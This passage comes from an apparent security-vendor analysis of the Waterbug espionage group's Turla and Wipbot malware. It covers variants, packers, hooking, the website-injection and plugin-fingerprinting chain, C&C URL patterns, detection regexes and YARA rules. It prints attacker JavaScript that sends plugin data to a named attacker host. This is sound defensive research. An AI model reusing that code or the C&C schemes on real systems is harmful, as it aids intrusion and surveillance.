Waterbug group. Trojan.Turla is an extremely persistent, sophisticated malware, professionally developed with extensible capabilities and used exclusively by the Waterbug group. Trojan.Turla is built from a framework that is designed for long-term monitoring of targeted individuals or organizations and has been in operation since at least 2005. Both 32-bit and 64-bit samples have been identified in use in the wild. Analysis has determined that Trojan. Turla is essentially an extensible platform which appears to share common components between variants through the use of a common framework. Symantec has identified four unique variants of Trojan.Turla, all of which use shared components. Details on the relationships between the variants are discussed in the following section. Variants Symantec has identified four unique variants of Trojan.Turla which have been in development between 2005 and 2014. \xe2\x80\xa2 ComRAT is a direct descendant of the Agent.BTZ malware that was in use in 2008. Development of this variant has continued and recent samples, compiled in 2013, have been identified. \xe2\x80\xa2 The earliest variant of FA (so named because of debug strings linking to project fa64) was compiled in 2005. Figure 7. Variants of Trojan.Turla identified by Symantec http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html http://www.symantec.com/security_response/writeup.jsp?docid=2005-010722-5132-99 Page 12 The Waterbug attack group This variant has seen continuous development from 2009 to 2014. \xe2\x80\xa2 Carbon is the most unique of all four variants. Carbon is distributed in two forks\xe2\x80\x94a driver-based version (rootkit) and a driver-less version. Early variants of Carbon were identified in 2007, 2008, and 2009. The majority of Carbon\xe2\x80\x99s code has received minor incremental updates seen in recent samples identified in 2014. The most closely related variant to Carbon is SAV. \xe2\x80\xa2 SAV (also known as Uroburos) is a recent variant of Trojan.Turla which has been in development since at least 2011 and has received incremental updates through to 2014. Analysis of these variants shows common code structures, shared components, and a continuous development which has run in parallel since at least 2005. Relationships The identified cases of code sharing are usually within specific sub-modules, such as IDT Hooking, or within helper code. An examination of features from the Carbon and FA drivers in this section illustrates this. The relationship between Carbon and SAV is more complex and will be described separately. Carbon and SAV When Carbon was first developed, the driver-based and driver-less forks used a custom communication module which supported multiple protocols including Transmission Control Protocol (TCP), Named Pipes (NP), and Multipoint-to-Point (M2P). When SAV first appeared in 2011, it was based on the driver-based fork of Carbon. However, injected components were significantly changed or possibly rewritten. Shared features included the communication module. This suggests that SAV is derived from Carbon. FA, Carbon, and SAV In June 2007, Carbon drivers already included the use of specific error code values which may have originally been implemented as part of the communication channel code. FA Drivers introduced the use of these error code values between August, 2008 and December, 2009 as part of a major refactoring effort. Additionally, FA and SAV also shared a custom packer used exclusively by the Waterbug group. By 2009, FA had begun using the custom packer for user-mode components. Carbon did not use the packer in any of the collected samples, whereas SAV used the packer for multiple components. These relationships indicate that features were developed separately, and later migrated to other projects. This sharing may be due to copying parts of source code (possibly entire folders) between independently developed projects. Page 13 The Waterbug attack group Shared features The driver-based column indicates rootkit functionality such as that found in Carbon and SAV. The driver-less column indicates the use of user-mode API hooking. An encrypted file system was also found in two of the variants, Carbon and SAV. This is an NTFS file, encrypted using 128-bit CAST in CBC mode. In other variants, a directory structure was used and encryption was performed using simple byte-by-byte XOR encryption (using the same key used in Agent.BTZ). Code sharing shows trace evidence or remnants of code from earlier versions still present in recent samples. One such example is the use of LCG and associated constant values in the decryption algorithm. Conclusion Waterbug is a capable group that is highly skilled in compromising its targets and has systematically targeted governments and embassies since as early as 2005. The continued development of the tools used by Waterbug suggests that the group has made a significant investment in time and resources. This coupled with the selected targets and the advanced nature of the malware used suggests that Waterbug is most likely a state-sponsored group whose motive is intelligence gathering. Figure 8. Shared features across Trojan.Turla variants APPENDIX Page 15 The Waterbug attack group Appendix Injection attack analysis The compromised websites use an injected iframe or some obfuscated JavaScript in order to redirect visitors to a malicious host, specifically to a web page (main.php) that is used to perform standard plugin checks or system fingerprinting. The following is an example of an injected iframe and obfuscated JavaScript: Iframe injections
Obfuscated JavaScript injections PluginDetect library When main.php is loaded, it runs a number of JavaScript files from a library known as PluginDetect (v0.8.5). PluginDetect is a legitimate library used to detect browser plugins (the most recent version is 0.8.7). The PluginDetect library is intended to work with all the major browsers including Internet Explorer 6 and up, Firefox, Mozilla, Netscape, Chrome, Safari, Opera, SeaMonkey, Flock, and others. It is possible to generate custom PluginDetect scripts which only retrieve version information for specifically chosen plugins as per http://www.pinlady.net/PluginDetectArchive/0.8.5/download/. Symantec has identified two versions of the main.php script file. The following table provides an overview of the information collected for each of the two versions, which perform similar actions: Table 1. Identified versions of main.php File name MD5 Targeted software Description main.php 764d67a1dcb2449e2aa6dc3e59a5265f \xe2\x80\xa2 Java \xe2\x80\xa2 Flash \xe2\x80\xa2 Adobe Reader \xe2\x80\xa2 QuickTime \xe2\x80\xa2 Shockwave \xe2\x80\xa2 Windows Media Player \xe2\x80\xa2 Microsoft Office Word Performs POST request to remote ajax.php script. JavaScript file jquery.min.js contains all the PluginDetect files. main.php bd07a78793641dc85cf75dc60c06051a \xe2\x80\xa2 Adobe Reader \xe2\x80\xa2 Java \xe2\x80\xa2 Flash \xe2\x80\xa2 Shockwave \xe2\x80\xa2 QuickTime \xe2\x80\xa2 Silverlight Performs GET request to remote wreq. php script. This version contains Silverlight PluginDetect code. http://www.pinlady.net/PluginDetectArchive/0.8.5/guide/ http://www.pinlady.net/PluginDetectArchive/0.8.5/download/ Page 16 The Waterbug attack group When main.php is loaded, regardless of the version used, it checks if JavaScript is supported on the redirected browser. If JavaScript is not available, it generates the parameter, nojs.php?j=no, and provides the address of the compromised website that the user was redirected from in the &ref= parameter: However, if JavaScript is available, main.php proceeds to collect the software version information listed in Table 1. Depending on the version of the main.php script used to collect plugin information, it either performs a GET request or a POST request using the following parameters: POST request xmlhttp.send(\xe2\x80\x98js=\xe2\x80\x99 + encodeURIComponent(js) + \xe2\x80\x98&v _ s=\xe2\x80\x99 + encodeURIComponent(v _ s) + \xe2\x80\x98&v _ f=\xe2\x80\x99 + encodeURIComponent(v _ f) + \xe2\x80\x98&v _ a=\xe2\x80\x99 + encodeURIComponent(v _ a) + \xe2\x80\x98&v _ m=\xe2\x80\x99 +encodeURIComponent(v _ m)+ \xe2\x80\x98&v _ q=\xe2\x80\x99+ encodeURIComponent(v _ q) + \xe2\x80\x98&msw=\xe2\x80\x99 + encodeURIComponent(msw) + \xe2\x80\x98&v _ ja=\xe2\x80\x99 + encodeURIComponent(v _ ja) + \xe2\x80\x98&ref=\xe2\x80\x99 + encodeURIComponent(ref)); Example image.servepics.com/css/ajax.php?js=ok&v _ s=null&v _ f=11.8.800.94&v _ a=11.0.0.0&v _ m=null&v _ q=null&msw=2007&v _ ja=1.7.0.51&ref=http%3A//www.bjc. es/&v _ sl=5.1.20513.0 GET request window.location.href = \xe2\x80\x98wreq.php?js=ok&v _ s=\xe2\x80\x99+shock()+\xe2\x80\x99&v _ f=\xe2\x80\x99+fla()+\xe2\x80\x99&v _ a=\xe2\x80\x99+acro()+\xe2\x80\x99&v _ m=\xe2\x80\x99+v _ m+\xe2\x80\x99&v _ q=\xe2\x80\x99+qtime()+\xe2\x80\x99&msw=\xe2\x80\x99+offchk()+\xe2\x80\x99&v _ ja=\xe2\x80\x99+jav()+\xe2\x80\x99&ref =\xe2\x80\x99+escape(ref)+\xe2\x80\x99&v _ sl=\xe2\x80\x99+silver();} Example image.servepics.com/css/wreq.php?js=ok&v _ s=null&v _ f=12.0.0.41&v _ a=null&v _ m=null&v _ q=null&msw=null&v _ ja=1.7.0.51&ref=http%3A//www.motril.es/index. php%3Fid%3D359&v _ sl=null Additional PluginDetect files Symantec has identified one additional script (similar to ajax.php and wreq.php) that performs the same actions previously described. It is possible that these files represent different versions of the backend script used to parse the collected information used in the attack. \xe2\x80\xa2 /css/ajax.php \xe2\x80\xa2 /css/ajax.php \xe2\x80\xa2 /wp-admin/js/css/ajax.php \xe2\x80\xa2 /wp-includes/js/css/ajax.php \xe2\x80\xa2 /css/wreq.php \xe2\x80\xa2 /wp-includes/js/css/wreq.php \xe2\x80\xa2 /css/wreq.php \xe2\x80\xa2 /css/ajax.php \xe2\x80\xa2 /wp-admin/js/css/1267.php Parameters Table 2 shows the parameters used in the URLs generated from the PluginDetect library, which hold plugin version information. Table 2. Parameters used by PluginDetect library Parameters Code Description js Enabled JavaScript. If compatible, string \xe2\x80\x98ok\xe2\x80\x99 is set to parameter value. v_s Enabled Shockwave v_f Enabled Flash v_a Enabled Adobe Reader or generic PDF reader v_m Disabled Disabled in code. Used to hold WindowsMediaPlayer version information. v_q Enabled QuickTime msw Disabled Disabled in code. Code does not initialize offchk() function - MSOffice detect. v_ja Enabled Java Runtime Environment ref Enabled Compromised site v_sl Enabled Silverlight. Only present in main.php (MD5: bd07a78793641dc85cf75dc60c06051a). Page 17 The Waterbug attack group All plugin scripts use the PluginDetect library from version 0.8.5 with the exception of main.php (MD5: bd07a78793641dc85cf75dc60c06051a) which uses the PluginDetect script version 0.8.6 for Silverlight. Exploits The scripts (main.php, main.jpg, wreq.php etc) contained additional code which is used to exploit Internet Explorer 6, 7, and 8. Additional exploits were also identified targeting Oracle Sun Java and Adobe Flash Player using the Oracle Java SE Remote Code Execution Vulnerability (CVE-2012-1723). Unfortunately, not all exploits could be retrieved for analysis. The payload dropped by the Java exploit was found to be: \xe2\x80\xa2 MD5: d7ca9cf72753df7392bfeea834 bcf992 The above sample was confirmed as Trojan.Wipbot. Trojanized applications The attacker group also used Trojanized applications in order to trick users into installing a malicious payload. In one such example, a Shockwave Player installer bundle was found to be Trojanized and silently installed Trojan.Wipbot. The installer was signed with a certificate from Sysprint, an organization based in Switzerland. There have been additional reports of Trojanized Microsoft Security Essential packages being used. Figure 9. Trojanized Shockwave installer bundle Figure 10. Sysprint digital certificate used to sign Trojanized Shockwave installer http://www.securityfocus.com/bid/53960 Page 18 The Waterbug attack group Trojan.Turla variants Custom packer Packers or executable compressors are common techniques used by malware authors in order to evade antivirus (AV) detection. The packer used with Trojan.Turla is unique to the group and has not been observed being used with any other malware. This custom packer, used exclusively by the Waterbug group, was used for packing various components since at least 2009. The stub included in the packed driver-based variants includes the same error code value ranges as was observed in Waterbug-specific communication code. This is a strong indication that attackers maintain the packer in-house. It was found that the FA dropper from 2009 included a non-packed driver and a packed external communication component, but the dropper from 2011 included a packed driver and a non-packed external communication component. However, for SAV, the dropper, driver, and other components were all packed using the custom packer from 2011. Symantec is aware of five generations of the custom packer: \xe2\x80\xa2 Custom A\xc2 was encountered in\xc2 FA\xc2 external communication component (February-December 2009) \xe2\x80\xa2 Custom B, variant preA\xc2 was encountered in\xc2 FA\xc2 dropper (January 2010) \xe2\x80\xa2 Custom B, variant A\xc2 was encountered in\xc2 FA\xc2 external communication component (June 2010) \xe2\x80\xa2 Custom B, variant B\xc2 was encountered in\xc2 various SAV components (June 2011-May 2013) and\xc2 FA\xc2 driver (December 2012-January 2014) \xe2\x80\xa2 Custom B, variant C\xc2 encountered in\xc2 SAV\xc2 driver (October 2013-March 2014) It is worth noting that another, somewhat simpler, packer was used for packing the Trojan.Wipbot dropper (custom dotNET used by single sample). Error code ranges Many of the Waterbug-specific subroutines present in various kernel-mode samples use constants from range 0x21590001..0x21590258 as error codes. It is interesting to note that this range corresponds to 0xDEA6FXXX. The following components include code with these constants: \xe2\x80\xa2 Stub of custom packer present in packed kernel-mode binaries \xe2\x80\xa2 FA drivers (except for samples earlier then 2008) \xe2\x80\xa2 Carbon drivers \xe2\x80\xa2 SAV drivers Table 3. Error code messages Error code Message 0 no error ffffffff error has been suddenly occured 21590001 function unsupported 21590002 timeout condition has been occured inside call of function 21590003 peer has closed the connection 21590004 no memory 21590005 object not found 21590006 execution has been canceled 21590007 not enough server resources to complete opera- tion 21590008 access violation 21590009 socket error 2159000a invalid network buffer received 2159000b too long data for this type of transport 2159000e no data was received 21590064 invalid function call 21590065 sanity check: invalid parameter 1 in function call 21590066 sanity check: invalid parameter 2 in function call 21590067 sanity check: invalid parameter 3 in function call 21590068 sanity check: invalid parameter 4 in function call 21590069 sanity check: invalid parameter 5 in function call 2159006a sanity check: invalid parameter 6 in function call 2159006b sanity check: invalid parameter 7 in function call 2159006c sanity check: invalid parameter 8 in function call 2159006d sanity check: invalid parameter 9 in function call 215900c8 invalid address specified 215900c9 invalid local address 215900ca invalid local port 215900cb invalid remote address 215900cc invalid remote port 2159012c invalid credentials 2159012d secure connection failed 21590258 licence error Page 19 The Waterbug attack group Several samples also include a table mapping these error codes to messages. This table is apparently part of a source file with the following versioning information: $Id: t _ message1.c 5290 2007-01-26 11:15:03Z vlad $ The table mapping error codes to messages is composed of a number of entries (See Table 3). With all verified components, error codes seem consistent with the above table. However, use of additional error codes within this range were also observed that are not included in this table. Additional shared features Additional shared features observed during analysis are detailed below. IDT hooking Symantec observed sharing of IDT hooking code used in FA, Carbon (not present in samples earlier than 2009), and SAV drivers. All have been observed using interrupts 0x55 or 0xC3 in the following method: kd> u nt!NtReadFile nt!NtReadFile: 8057c4a8 6a06 push 6 ; integer pushed. 8057c4aa cdc3 int 0C3h ; interrupt. 8057c4ac 94 xchg eax,esp 8057c4ad 4d dec ebp 8057c4ae 80e88c sub al,8Ch 8057c4b1 f8 clc 8057c4b2 fb sti 8057c4b3 ff33 push dword ptr [ebx] It is worth noting that higher-level code implemented on top of these hooks differ significantly across variants, where SAV is considered the most sophisticated. FA source code tree The FA variant includes debug string information that corresponds to source code files. Some full and partial paths are also indicated in the strings. It is possible that the source code tree for FA may have contained the following directory structure: d:\\proj\\cn\\fa64\\common\\helpers\\ntsystem\\../../unichar _ common.c ..\\common\\helpers\\ntsystem\\event.c $Id: event.c 14097 2010-11-01 14:46:27Z gilg $ ..\\common\\helpers\\ntsystem\\mutex.c $Id: mutex.c 14516 2010-11-29 12:27:33Z gilg $ ..\\common\\helpers\\ntsystem\\named _ mutex.c $Id: named _ mutex.c 15594 2011-03-18 08:04:09Z gilg $ ..\\common\\helpers\\ntsystem\\nt.c $Id: nt.c 20719 2012-12-05 12:31:20Z gilg $ ..\\common\\helpers\\ntsystem\\rw _ lock.c $Id: rw _ lock.c 14516 2010-11-29 12:27:33Z gilg $ nichar.c $Id: unichar.c 14481 2010-11-27 19:52:15Z gilg $ ..\\common\\helpers\\interface _ s.c d:\\proj\\cn\\fa64\\common\\loadlib\\common/loadlib _ helpers.c d:\\proj\\cn\\fa64\\common\\loadlib\\win/loadlib.c roboros\\rk _ common\\libhook\\common/libunhook.c roboros\\rk _ common\\libhook\\common/hook _ helpers.c roboros\\rk _ common\\libhook\\common/libhook.c roboros\\rk _ common\\libhook\\common/idthook.c roboros\\rk _ common\\libhook\\ntsystem/libhook.c ..\\k2\\fa _ registry.c Page 20 The Waterbug attack group ..\\k2\\syshook.c The code tree suggests that there may be common helper code shared, such as rootkit functionality (rk_common, common\\helpers etc.). It is likely that these components are shared across variants of Trojan.Turla. This is also consistent with the PDB strings extracted from FA variants: d:\\proj\\cn\\fa64\\sengoku\\ _ bin\\sengoku\\win32 _ debug\\sengoku _ Win32.pdb Agent.BTZ XOR key A number of keys are shared across the Trojan.Turla variants. Of particular interest is the following XOR key known from Agent.BTZ. This key has also been identified in a number of tools used by the Waterbug group: 1dM3uu4j7Fw4sjnbcwlDqet4F7JyuUi4m5Imnxl1pzxI6as80cbLnmz54cs5Ldn4ri3do5L6gs9 23HL34x2f5cvd0fk6c1a0s\\x00 The above XOR key was found in ComRAT and FA components starting from 2006. Encrypted file system Carbon (driver-based) and SAV utilize an encrypted file system (EFS) to store configuration files, log information, tools, and exfiltrated data. These variants use CAST-128 bit encryption in CBC mode. A unique initialization key (IV) was used across these drivers: A1D210B76D5EDA0FA165AFEF79C366FA Note other samples also have remnants of the EFS code which is never used. Detection guidance Targeted injection attacks Iframe injection Upon visiting a compromised domain, the user is redirected to a dynamic DNS host which performs fingerprinting operations to identify the version information for several browser plugins, as described in the technical details of this document. Examples \xe2\x80\xa2 [http://]image.servepics.com/css/main.php \xe2\x80\xa2 [http://]cqcount.servehttp.com/css/main.php \xe2\x80\xa2 [http://]newsweek.serveblog.net/wp-includes/js/css/main.php Regex \xe2\x80\xa2 .*\\/css\\/main\\.php.* Fingerprinting Once a user has been successfully redirected, a PluginDetect script is loaded. This identifies version information for Java, Flash, Adobe Reader, QuickTime, Shockwave, Silverlight etc. Examples \xe2\x80\xa2 adobes3.sytes.net/macromedia/get/shockwave/latest/sitenavigation.js \xe2\x80\xa2 adobe.serveusers.com/macromedia/get/shockwave/latest/sitenavigation.php Regex \xe2\x80\xa2 .*\\/macromedia\\/get\\/shockwave\\/latest\\/sitenavigation.* The collected information is POST\xe2\x80\x99ed to another page hosted on the same domain. Thus far, we have observed the use of wreq.php, ajax.php, and main.jpg. Page 21 The Waterbug attack group Examples \xe2\x80\xa2 image.servepics.com/css/wreq.php?js=ok&v_s=null&v_f=13.0.0.206&v_a=11.0.0.0&v_m=null&v_ q=7.7.1.0&msw=null&v_ja=1.7.0.55&ref=http%3A//www.motril.es/&v_sl=null \xe2\x80\xa2 cqcount.servehttp.com/css/wreq.php?js=ok&v_s=null&v_f=11.6.602.180&v_a=9.3.0.0&v_m=null&v_ q=null&msw=2003&v_ja=null&ref=http%3A//www.master-photonics.org/index.php%3Fid%3D60&v_ sl=5.1.20913.0 \xe2\x80\xa2 image.servepics.com/css/ajax.php?js=ok&v_s=null&v_f=12.0.0.70&v_a=11.0.6.0&v_m=null&v_ q=null&msw=null&v_ja=1.6.0.33&ref=http%3A//www.motril.es/index.php%3Fid%3D520&v_sl=null Regex \xe2\x80\xa2 .*js=ok&v_s=.* Trojan.Wipbot Trojan.Wipbot has been observed using the following network communication(s) in order to initiate communication with the C&C server. Pattern one GET /wp-content/themes/profile/?rank=[FIVE DIGITS] Example \xe2\x80\xa2 /wp-content/themes/profile/?rank=22503 Regex \xe2\x80\xa2 .*\\?rank=[0-9]{5}.* Pattern two GET /includes/header.php?rank=[FIVE DIGITS] Example \xe2\x80\xa2 /includes/header.php?rank=67675 Regex \xe2\x80\xa2 .*\\.php?rank=[0-9]{5}.* Pattern three Wipbot has been observed using the following communication(s) in order to exfiltrate data from a compromised computer. GET /[DIRECTORY]/[PAGE].php?option=com _ content&catid=[TEN DIGITS]&task=[SEVEN CHARACTERS]&id=[TEN DIGITS]&view=category&Itemid=[TEN DIGITS]&link=[EIGHT DIGITS]:[FOUR CHARACTERS]&layout=[TWO DIGITS]:[SEVEN CHARACTERS] Example GET /Connections1/formulaire15.php?option=com _ content&catid=2956129479&task= 65g7ka0&id=1869153034&forumid=1549520913&view=category&Itemid=3900082516&link=2 0140715:GBaH&layout=28:article Regex \xe2\x80\xa2 .*(\\?option=).+(&catid=).+(&task=).+(&forumid=).+(&view=).+(&Itemid=).+(&link=).+(&layout=).* Trojan.Turla - URL detection regex Pattern one Trojan.Turla has been observed using the following network communication(s) in order to retrieve the command Page 22 The Waterbug attack group file from the remote C&C server. GET /[ONE CHARACTER]/[EIGHT NUMBERS] Example \xe2\x80\xa2 /C/77568289 Regex \xe2\x80\xa2 .*(\\/[A-Z]{1}\\/[0-9]{8}).* Pattern two GET /[ONE CHARACTER]/[ONE NUMBER]/[16 CHARACTERS OR NUMBERS]1c0 Example \xe2\x80\xa2 /H/1/8fda73d3070d6b701c0 Regex \xe2\x80\xa2 .*([A-Z]{1}\\/[0-9]{1}\\/[a-z0-9]{19}).* Pattern three Trojan.Turla has been observed using the following test communication. Initially it attempts to retrieve pub.txt or pub.html file as a method of authenticating against the remote C&C server: GET /[ONE CHARACTER]/pub.txt Examples \xe2\x80\xa2 /H/pub.txt \xe2\x80\xa2 /C/pub.txt Regex \xe2\x80\xa2 .*([A-Z]{1}.\\/pub\\.txt).* Pattern four Trojan.Turla has been observed using the following test communication. Initially it attempts to retrieve pub.txt or pub.html file as a method of authenticating against the remote C&C server: GET /[COUNT/IMAGE/MEDIA/PIC/PUBLIC]/pub.html Examples \xe2\x80\xa2 /COUNT/pub.html \xe2\x80\xa2 /IMAGE/pub.html Regex .*(\\/PIC|\\/IMAGE|\\/PUBLIC|\\/COUNT|\\/MEDIA).*(\\/pub\\.).* Pattern five GET /[COUNT|IMAGE|MEDIA|PIC|PUBLIC]/[16 CHARACTERS OR NUMBERS]1c0 Examples \xe2\x80\xa2 /MEDIA/1/80d0a0aca8ba508e1c0 \xe2\x80\xa2 /PIC/1/c4c8f8006c2bc74a1c0 Regex \xe2\x80\xa2 .*(\\/PIC|\\/IMAGE|\\/PUBLIC|\\/COUNT|\\/MEDIA\\/[a-z0-9]{19}).* Page 23 The Waterbug attack group Pattern six In February 2014, Symantec observed updated C&C communication activity related to Trojan.Turla variants. GET/POST /index/index.php?[64 CHARACTERS OR NUMBERS] Example \xe2\x80\xa2 /index/index.php?4eKDJVxSzbjg%2fvYt604CuOHikx06NqyP0oawFWtiqY6D1bMlXFLNuOHigyVcUs35yOKDJVx SzQ%3d%3d Regex \xe2\x80\xa2 .*(\\/index\\/index\\.php?).* Pattern seven GET /[COUNT/IMAGE/MEDIA/PIC/PUBLIC]/N00/index.asp?name=\\[ONE NUMBER]\\[SIXTEEN CHARACTERS OR NUMBERS]1c0 Examples \xe2\x80\xa2 /IMAGE/N00/index.asp?name=\\1\\d36f5cf07ad6fba61c0 \xe2\x80\xa2 /COUNT/N00/index.asp?name=\\1\\8fda73d3070d6b701c0 Regex .*(\\/PIC|\\/IMAGE|\\/PUBLIC|\\/COUNT|\\/MEDIA).*(index.asp?name=).* Pattern eight GET/POST /N00/cookie.php Regex \xe2\x80\xa2 .*(\\/N00\\/cookie\\.php).* Pattern nine The following C&C communication pattern is related to pattern two and pattern five URLs. The same 16 bytes are used to generate the 64-byte query string for pattern six. GET/POST /index/index.php?h=[RANDOM CHARACTERS AND NUMBERS]&d=[RANDOM CHARACTERS AND NUMBERS] Examples \xe2\x80\xa2 /index/index.php?h=F1fQaYDD0tE%3d&d=FW%2bwHgmYa9EXVt9bsPDq4SVg6VC09ebkJ2PQaYDD0tEXV9Bp gMPg4SRv4Fu3%2buvlIWPlWbSH4%2bAkYeBasPDi4zk9oA6g4%2fLxN3fwSaDj8vE3d%2fBJoOPy8T%3d%3d \xe2\x80\xa2 /index/index.php?h=2BhzAaseIe4%3d&d=2CATdiJFmO7YGXwzmy0Z3uovSjifKBXb6CxzAaseIe7YGHMBqx5% 3d Regex \xe2\x80\xa2 .*(/index/index\\.php\\?h=.*&d=.*).* Pattern ten Earlier variants of Trojan.Wipbot/Tavdig C&C communication: GET /auth.cgi?mode=query&id=[IDENTIFIER]&serv=[DOMAIN]&lang=en&q=[RANDOM NUMBERS]-[RANDOM NUMBERS]&date=[DATE] Regex \xe2\x80\xa2 .*(\\/auth.cgi?mode=query&id=).* Pattern eleven C&C communication to retrieve tasks for Uroburos 2009/2013 samples: GET /default.asp?act=[IDENTIFIER]&id=[IDENTIFIER]&item=[IDENTIFIER]&event _ id=[EVENT ID]&cln=[IDENTIFIER]&flt=[CHECKSUM]&serv=[DOMAIN]&t=[EPOCH TIMESTAMP] Page 24 The Waterbug attack group &mode=query&lang=en&date=[DATE] Regex \xe2\x80\xa2 .*(\\/default.asp?act=.*&id=).* Yara signatures Trojan.Wipbot 2014 core PDF rule wipbot _ 2013 _ core _ PDF{ strings: $PDF = \xe2\x80\x9c%PDF-\xe2\x80\x9d $a = /\\+[A-Za-z]{1}\\. _ _ \\$\\+[A-Za-z]{1}\\. _ \\$ _ \\+/ $b = /\\+[A-Za-z]{1}\\.\\$\\$\\$ _ \\+/ condition: ($PDF at 0) and #a > 150 and #b > 200 } Trojan.Wipbot 2013 DLL rule wipbot _ 2013 _ dll { meta: description = \xe2\x80\x9cDown.dll component\xe2\x80\x9d strings: $string1 = \xe2\x80\x9c/%s?rank=%s\xe2\x80\x9d $string2 = \xe2\x80\x9cModuleStart\\x00ModuleStop\\x00start\xe2\x80\x9d $string3 = \xe2\x80\x9c1156fd22-3443-4344-c4ffff\xe2\x80\x9d //read file... error.. $string4 = \xe2\x80\x9cread\\x20file\\x2E\\x2E\\x2E\\x20error\\x00\\x00\xe2\x80\x9d condition: 2 of them } Trojan.Wipbot 2013 core component rule wipbot _ 2013 _ core { meta: description = \xe2\x80\x9ccore + core; garbage appended data (PDF Exploit leftovers) + wipbot dropper; fake AdobeRd32 Error\xe2\x80\x9d strings: $mz = \xe2\x80\x9cMZ\xe2\x80\x9d /* 8947 0C MOV DWORD PTR DS:[EDI+C], EAX C747 10 90C20400 MOV DWORD PTR DS:[EDI+10], 4C290 C747 14 90C21000 MOV DWORD PTR DS:[EDI+14], 10C290 C747 18 90906068 MOV DWORD PTR DS:[EDI+18], 68609090 894F 1C MOV DWORD PTR DS:[EDI+1C], ECX C747 20 909090B8 MOV DWORD PTR DS:[EDI+20], B8909090 894F 24 MOV DWORD PTR DS:[EDI+24], ECX C747 28 90FFD061 MOV DWORD PTR DS:[EDI+28], 61D0FF90 C747 2C 90C20400 MOV DWORD PTR DS:[EDI+2C], 4C290 */ $code1 = { 89 47 0C C7 47 10 90 C2 04 00 C7 47 14 90 C2 10 00 C7 47 18 90 90 60 68 89 4F 1C C7 47 20 90 90 90 B8 89 4F 24 C7 47 28 90 FF D0 61 C7 47 2C 90 C2 04 00} Page 25 The Waterbug attack group /* 85C0 TEST EAX, EAX 75 25 JNZ SHORT 64106327.00403AF1 8B0B MOV ECX, DWORD PTR DS:[EBX] BF ???????? MOV EDI, ???????? EB 17 JMP SHORT 64106327.00403AEC 69D7 0D661900 IMUL EDX, EDI, 19660D 8DBA 5FF36E3C LEA EDI, DWORD PTR DS:[EDX+3C6EF35F] 89FE MOV ESI, EDI C1EE 10 SHR ESI, 10 89F2 MOV EDX, ESI 301401 XOR BYTE PTR DS:[ECX+EAX], DL 40 INC EAX 3B43 04 CMP EAX, DWORD PTR DS:[EBX+4] 72 E4 JB SHORT 64106327.00403AD5 */ $code2 = { 85 C0 75 25 8B 0B BF ?? ?? ?? ?? EB 17 69 D7 0D 66 19 00 8D BA 5F F3 6E 3C 89 FE C1 EE 10 89 F2 30 14 01 40 3B 43 04 72 E4} $code3 = {90 90 90 ?? B9 00 4D 5A 90 00 03 00 00 00 82 04} $code4 = {55 89 E5 5D C3 55 89 E5 83 EC 18 8B 45 08 85 C0} condition: $mz at 0 and (($code1 or $code2) or ($code3 and $code4)) } Trojan.Turla dropper rule turla _ dropper{ strings: $a = {0F 31 14 31 20 31 3C 31 85 31 8C 31 A8 31 B1 31 D1 31 8B 32 91 32 B6 32 C4 32 6C 33 AC 33 10 34} $b = {48 41 4C 2E 64 6C 6C 00 6E 74 64 6C 6C 2E 64 6C 6C 00 00 00 57 8B F9 8B 0D ?? ?? ?? ?? ?? C9 75 26 56 0F 20 C6 8B C6 25 FF FF FE FF 0F 22 C0 E8} condition: all of them } Trojan.Turla DLL rule turla _ dll{ strings: $a = /([A-Za-z0-9]{2,10} _ ){,2}Win32\\.dll\\x00/ condition: pe.exports(\xe2\x80\x9cee\xe2\x80\x9d) and $a } FA rule fa{ strings: $mz = \xe2\x80\x9cMZ\xe2\x80\x9d $string1 = \xe2\x80\x9cC:\\\\proj\\\\drivers\\\\fa _ 2009\\\\objfre\\\\i386\\\\atmarpd.pdb\xe2\x80\x9d Page 26 The Waterbug attack group $string2 = \xe2\x80\x9cd:\\\\proj\\\\cn\\\\fa64\\\\\xe2\x80\x9d $string3 = \xe2\x80\x9csengoku _ Win32.sys\\x00\xe2\x80\x9d $string4 = \xe2\x80\x9crk _ ntsystem.c\xe2\x80\x9d $string5 = roboros\\\\\xe2\x80\x9d $string6 = \xe2\x80\x9cshell.{F21EDC09-85D3-4eb9-915F-1AFA2FF28153}\xe2\x80\x9d condition: ($mz at 0) and (any of ($string*)) } SAV dropper rule sav _ dropper{ strings: $mz = \xe2\x80\x9cMZ\xe2\x80\x9d $a = /[a-z]{,10} _ x64.sys\\x00hMZ\\x00/ condition: ($mz at 0) and uint32(0x400) == 0x000000c3 and pe.number _ of _ sections == 6 and $a } SAV rule sav{ strings: $mz = \xe2\x80\x9cMZ\xe2\x80\x9d /* 8B 75 18 mov esi, [ebp+arg _ 10] 31 34 81 xor [ecx+eax*4], esi 40 inc eax 3B C2 cmp eax, edx 72 F5 jb short loc _ 9F342 33 F6 xor esi, esi 39 7D 14 cmp [ebp+arg _ C], edi 76 1B jbe short loc _ 9F36F 8A 04 0E mov al, [esi+ecx] 88 04 0F mov [edi+ecx], al 6A 0F push 0Fh 33 D2 xor edx, edx 8B C7 mov eax, edi 5B pop ebx F7 F3 div ebx 85 D2 test edx, edx 75 01 jnz short loc _ 9F368 */ $code1a = { 8B 75 18 31 34 81 40 3B C2 72 F5 33 F6 39 7D 14 76 1B 8A 04 0E 88 04 0F 6A 0F 33 D2 8B C7 5B F7 F3 85 D2 75 01 } /* 8B 45 F8 mov eax, [ebp+var _ 8] 40 inc eax 89 45 F8 mov [ebp+var _ 8], eax 8B 45 10 mov eax, [ebp+arg _ 8] C1 E8 02 shr eax, 2 39 45 F8 cmp [ebp+var _ 8], eax 73 17 jnb short loc _ 4013ED 8B 45 F8 mov eax, [ebp+var _ 8] 8B 4D F4 mov ecx, [ebp+var _ C] Page 27 The Waterbug attack group 8B 04 81 mov eax, [ecx+eax*4] 33 45 20 xor eax, [ebp+arg _ 18] 8B 4D F8 mov ecx, [ebp+var _ 8] 8B 55 F4 mov edx, [ebp+var _ C] 89 04 8A mov [edx+ecx*4], eax EB D7 jmp short loc _ 4013C4 83 65 F8 00 and [ebp+var _ 8], 0 83 65 EC 00 and [ebp+var _ 14], 0 EB 0E jmp short loc _ 401405 8B 45 F8 mov eax, [ebp+var _ 8] 40 inc eax 89 45 F8 mov [ebp+var _ 8], eax 8B 45 EC mov eax, [ebp+var _ 14] 40 inc eax 89 45 EC mov [ebp+var _ 14], eax 8B 45 EC mov eax, [ebp+var _ 14] 3B 45 10 cmp eax, [ebp+arg _ 8] 73 27 jnb short loc _ 401434 8B 45 F4 mov eax, [ebp+var _ C] 03 45 F8 add eax, [ebp+var _ 8] 8B 4D F4 mov ecx, [ebp+var _ C] 